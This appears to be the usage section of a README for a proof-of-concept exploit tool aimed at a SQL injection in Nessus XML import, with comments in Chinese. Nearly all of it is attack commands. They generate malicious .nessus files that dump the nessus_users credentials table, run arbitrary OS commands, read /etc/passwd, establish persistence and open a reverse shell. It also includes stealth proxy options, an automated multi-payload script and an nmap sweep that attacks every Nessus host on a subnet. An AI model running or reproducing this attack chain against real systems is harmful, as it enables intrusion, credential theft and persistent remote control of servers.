# 克隆仓库
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC

# 创建并激活虚拟环境
python3 -m venv venv
source venv/bin/activate  # 在Windows上: venv\Scripts\activate

# 安装依赖
pip install -r requirements.txt

# 验证安装
python3 exploit.py --version

# 构建Docker镜像
docker build -t nessus-exploit .

# 运行工具
docker run -it --rm nessus-exploit generate -u https://test.com -p enum

# 作为包安装
pip install -e .

# 现在可以从任意位置运行
nessus-exploit generate -u https://test.com -p enum

# 生成基础枚举利用
python3 exploit.py generate -u https://test.com -p enum

# 生成高级多阶段利用
python3 exploit.py generate -u https://test.com -p advanced -o exploit.nessus

# 从数据库提取数据
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email

# 显示通用帮助
python3 exploit.py --help

# 显示generate命令帮助
python3 exploit.py generate --help

# 列出所有可用的Payload
python3 exploit.py list

python3 exploit.py generate -u https://test.com -p enum

python3 exploit.py generate -u https://test.com -p advanced -o custom.nessus -v

# 提取用户凭据
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email

# 使用自定义列提取
python3 exploit.py generate -u https://test.com -p dump --table scan_results --columns scan_name,start_time,status

# 启动监听器并生成利用
python3 exploit.py generate -u https://test.com -p shell -lp 4444 -o shell.nessus

# 执行基本命令
python3 exploit.py generate -u https://test.com -p exec --command "whoami && id && uname -a"

# 执行复杂命令
python3 exploit.py generate -u https://test.com -p exec --command "ps aux | grep nessus"

# 读取系统文件
python3 exploit.py generate -u https://test.com -p file -f /etc/passwd

# 读取应用程序日志
python3 exploit.py generate -u https://test.com -p file -f /var/log/nessus/nessusd.log

# 5秒延迟
python3 exploit.py generate -u https://test.com -p sleep -s 5

# 30秒延迟用于重负载测试
python3 exploit.py generate -u https://test.com -p sleep -s 30

# HTTP代理
python3 exploit.py generate -u https://test.com -p advanced --proxy http://127.0.0.1:8080

# 带认证的HTTPS代理
python3 exploit.py generate -u https://test.com -p advanced --proxy https://user:[email protected]:8080

# 使用8个并行任务运行
python3 exploit.py generate -u https://test.com -p advanced --jobs 8

# 自定义超时和重试
python3 exploit.py generate -u https://test.com -p advanced --jobs 4 --timeout 60 --retries 5

# 详细模式（详细输出）
python3 exploit.py generate -u https://test.com -p advanced -v --log-file debug.log

# 安静模式（最小输出）
python3 exploit.py generate -u https://test.com -p advanced -q

# 第1步：枚举数据库
python3 exploit.py generate -u https://test.com -p enum -v

# 第2步：提取敏感数据
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email

# 第3步：建立持久化
python3 exploit.py generate -u https://test.com -p persist

# 第4步：设置反向Shell
python3 exploit.py generate -u https://test.com -p shell -lp 4444

# 使用代理和安静模式
python3 exploit.py generate -u https://test.com -p advanced \
    --proxy http://127.0.0.1:8080 \
    --no-ssl-verify \
    -q \
    -o stealth_scan.nessus

#!/bin/bash
# auto_exploit.sh - 自动化利用脚本

TARGET="https://test.com"
OUTPUT_DIR="./results_$(date +%Y%m%d_%H%M%S)"
mkdir -p $OUTPUT_DIR

# 运行所有Payload
for payload in enum dump shell persist; do
    echo "[*] 正在运行Payload: $payload"
    python3 exploit.py generate -u $TARGET -p $payload -o "$OUTPUT_DIR/${payload}_scan.nessus" -q
done

# 生成综合报告
python3 exploit.py report -i "$OUTPUT_DIR" -o "$OUTPUT_DIR/final_report"

# 全网络评估
for target in $(nmap -p 8834 --open 192.168.1.0/24 | grep "Nessus" | awk '{print $5}'); do
    echo "[*] 正在测试: $target"
    python3 exploit.py generate -u "https://$target" -p advanced -o "scan_${target}.nessus" -q
done

# 收集全面证据
python3 exploit.py generate -u https://test.com -p advanced \
    --file /etc/hosts \
    --command "systemctl status nessusd" \
    --table nessus_users \
    --columns username,password_hash,email,last_login \
    -v \
    --log-file evidence.log

# 生成所有报告格式
python3 exploit.py report -i results.json -o report

# 仅生成HTML报告
python3 exploit.py report -i results.json -o report.html --format html

# 生成Markdown报告
python3 exploit.py report -i results.json -o report.md --format markdown

# 克隆仓库
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC

# 安装开发依赖
pip install -r requirements-dev.txt

# 运行测试
pytest

# 格式化代码
black exploit.py

# 检查代码风格
flake8 exploit.py